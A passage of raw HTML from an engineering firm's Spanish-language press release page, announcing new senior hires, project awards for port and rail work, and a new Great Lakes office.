src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\" alt=\"\" width=\"130\" height=\"182\" /></a>\r\nRaleigh, Carolina del Norte. Diciembre 5, 2013 – Moffatt & Nichol le da la bienvenida a Jerry McCrain, para ejercer el cargo de especialista ambiental senior en nuestras oficinas de Raleigh. El doctor McCrain aporta más de 38 años de continua y progresiva experiencia en el campo, al igual que su pasión por el manejo ambiental. Ha colaborado con la planeación y manejo de importantes proyectos ambientales para el Departamento de Transporte de Carolina del Norte, al igual que para oficinas federales, del estado y agencias locales, aportando su experiencia a numerosos análisis de cuencas, humedales y estudios ambientales. También ha trabajado extensamente con el Triangle Transit Authority, con la Agencia de Protección del Ambiente y con el Programa de Mejoras al Ecosistema de Carolina del Norte. \r\n\r\nSus servicios ambientales más frecuentes para proyectos de transporte han incluido administración de proyectos, planeación estratégica, procesos y cumplimientos de regulaciones ambientales tales como el National Environmental Policy Act (NEPA), adquisición y cumplimiento de permisos, apoyo y asistencia a políticas y programas, evaluación funcional, evaluación de sitio, estudios de comunidad (humedales y terrestres), delineación, restauración y mitigación, y coordinación con agencias federales, estatales y locales. \r\n\r\nEl Dr. McCrain se describe como un facilitador en procesos en los que existen fuertes opiniones en ambos lados. “Creo en hacer las cosas de la manera correcta sin comprometer otros aspectos de nuestra vida”, comentó. “Debe haber un enfoque de “amplio espectro” para integrar la ciencia y la ingeniería. Moffatt & Nichol comparte esta visión y estoy orgulloso de sumarme a este equipo”.\r\n\r\nEl Dr. McCrain obtuvo su título de Maestría en Ciencias Botánicas en North Carolina State University (NCSU). También posee un doctorado en Manejo de Recursos del NCSU. Sus afiliaciones profesionales incluyen la Sociedad de Científicos de Humedales, la Academia de Profesionales Ambientales Certificados y la Sociedad de Investigación Científica Sigma Xi.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"17\">Kerry Simpson se une a Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\"><img title=\"Kerry Simpson\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\" alt=\"\" width=\"154\" height=\"214\" /></a>\r\nLONG BEACH, CA, Diciembre 3, 2013 – Moffatt & Nichol se complace en anunciar que el ingeniero Kerry Simpson se une a nuestra firma como miembro clave para la práctica de terminales marítimas. El Sr. Simpson tiene más de 23 años de experiencia enfocada en la planeación, análisis y diseño de terminales portuarias, incluyendo terminales ferroviarias y de contenedores. Ha trabajado extensamente con autoridades portuarias, compañías navieras, operadores de terminales, compañías ferroviarias y proveedores de equipos y sistemas. Su experiencia abarca desde planeación conceptual hasta la culminación de la construcción y ha realizado análisis y planeación para numerosas terminales de contenedores, incluyendo patios de almacenaje, patios de ferrocarril intermodal, garitas, edificios y seguridad en sitio. Ha estado involucrado en la planeación y diseño de numerosas terminales con un rendimiento anual superior a los 2,000,000 de TEUs y posee amplios conocimientos en diseño, diversos modos operativos para terminales y todo tipo de equipo para manejo de contenedores. \r\n\r\n“La amplia y profunda experiencia de Kerry en planeación portuaria, análisis y diseño es una valiosa adición a nuestras capacidades integradas” comentó Richard Steinke, líder de la práctica de terminales marítimas para Moffatt & Nichol. “Estamos contentos de tenerlo a bordo para proveer apoyo a nuestros clientes a nivel mundial”.\r\n\r\nEl señor Simpson obtuvo su título de maestría en Ingeniería Civil en California State University y su título de licenciatura en Ciencias Oceanográficas en Humbold State University. Es también miembro activo de Sociedad Americana de Ingenieros Civiles.\r\n\r\nSobre su transición a Moffatt & Nichol, el Sr. Simpson comentó: “esta es una gran oportunidad de participar en los futuros emprendimientos de Moffatt & Nichol y de continuar desarrollando puertos de primera clase alrededor del mundo. Estoy orgulloso de sumarme a este equipo”. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Directora de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas 